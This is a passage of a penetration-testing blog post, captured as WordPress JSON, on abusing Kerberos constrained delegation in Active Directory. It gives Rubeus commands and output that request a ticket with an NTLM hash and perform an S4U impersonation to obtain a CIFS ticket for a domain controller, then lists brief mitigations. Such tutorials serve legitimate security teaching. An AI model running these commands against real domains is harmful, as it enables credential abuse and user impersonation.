Hash\/AES Key. Basically you can use the pass the users password\/NTLM hash, request a <code>TGT<\/code> &amp; execute a request for a <code>TGS<\/code> ticket and of course access the respective <code>SPN<\/code> \/ <code>Service<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Request a TGT<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-embed\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/github.com\/GhostPack\/Rubeus#asktgt\n<\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>PS C:\\Users\\mahyar> .\\Rubeus.exe asktgt \/user:mahyar \/domain:mahyarAD.local \/rc4:602f5c34346bc946f9ac2c0922cd9ef6\n\n   ______        _\n  (_____ \\      | |\n   _____) )_   _| |__  _____ _   _  ___\n  |  __  \/| | | |  _ \\| ___ | | | |\/___)\n  | |  \\ \\| |_| | |_) ) ____| |_| |___ |\n  |_|   |_|____\/|____\/|_____)____\/(___\/\n \n  v1.0.4\n \n&#91;*] Action: Ask TGT\n \n&#91;*] Using rc4_hmac hash: 602f5c34346bc946f9ac2c0922cd9ef6\n&#91;*] Using domain controller: DC.mahyarAD.local (172.16.0.254)\n&#91;*] Building AS-REQ (w\/ preauth) for: 'mahyarAD.local\\mahyar'\n&#91;*] Connecting to 172.16.0.254:88\n&#91;*] Sent 230 bytes\n&#91;*] Received 1377 bytes\n&#91;*] base64(ticket.kirbi):\n\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Issue S4U Request to Delegated SPN with Specified User<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PS C:\\Users\\mahyar> .\\Rubeus.exe s4u \/ticket:C:\\Temp\\Tickets\\aidanldap.kirbi \/impersonateuser:aidan \/msdsspn:ldap\/dc.mahyarAD.local \/altservice:cifs \/ptt\n \n   ______        _\n  (_____ \\      | |\n   _____) )_   _| |__  _____ _   _  ___\n  |  __  \/| | | |  _ \\| ___ | | | |\/___)\n  | |  \\ \\| |_| | |_) ) ____| |_| |___ |\n  |_|   |_|____\/|____\/|_____)____\/(___\/\n \n  v1.0.0\n \n&#91;*] Action: S4U\n \n&#91;*] Using domain controller: PRIMARY.testlab.local (172.16.0.254)\n&#91;*] Building S4U2self request for: 'TESTLAB.LOCAL\\mahyar'\n&#91;*]   Impersonating user 'aidan' to target SPN 'ldap\/dc.mahyarAD.local'\n&#91;*]   Final ticket will be for the alternate service 'cifs'\n&#91;*] Sending S4U2self request\n&#91;*] Connecting to 172.16.0.254:88\n&#91;*] Sent 1437 bytes\n&#91;*] Received 1574 bytes\n&#91;+] S4U2self success!\n&#91;*] Building S4U2proxy request for service: 'ldap\/dc.mahyarAD.local'\n&#91;*] Sending S4U2proxy request\n&#91;*] Connecting to 172.16.0.254:88\n&#91;*] Sent 2618 bytes\n&#91;*] Received 1798 bytes\n&#91;+] S4U2proxy success!\n&#91;*] Substituting alternative service name 'cifs'\n&#91;*] base64(ticket.kirbi):\n \n      doIGujCCBragAwIBBaEDAgE...(snip)...\n \n&#91;*] Action: Import Ticket\n&#91;+] Ticket successfully imported!\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now we don\u2019t really have to issue a <code>s4u<\/code> request if we own the account, we could simply request a <code>TGS<\/code> ticket but of course we would be limited to the context of the pwned account. The <code>S4U<\/code> request is simply if we want to abuse the account trusted for <strong>Constrained Delegation<\/strong> but impersonate any users context to access said service.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"mitigation--defending-constrained-delegation\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>Mitigation \/ Defending Constrained Delegation<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>Also if a user is part of the <strong>Protected-Users Group<\/strong> he\/she will will not be allowed for delegation<\/li><li>Configure all Privileged or Sensitive Accounts with `Account is Sensitive and Cannot be Delegated.<\/li><li>Use Strong-Strong Passwords for Accounts Trusted for Delegation<\/li><\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Kerberos Fundamentals Kerberos is a network authentication protocol that works on the principle of issuing tickets to nodes to allow access to services\/resources based on privilege [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":8855,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[226,227,229,230],"tags":[125,183,4,5,259,230],"class_list":["post-8854","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-identity-and-active-directory","category-linux-and-open-source","category-network-and-protocol-security","category-penetration-testing","tag-active-directory","tag-kerberos","tag-linux","tag-network-security","tag-penetration-testing"],"_links":{"self":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/8854","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/comments?post=8854"}],"version-history":[{"count":2,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/8854\/revisions"}],"predecessor-version":[{"id":8902,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/8854\/revisions\/8902"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/media\/8855"}],"wp:attachment":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/media?parent=8854"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/categories?post=8854"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/tags?post=8854"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}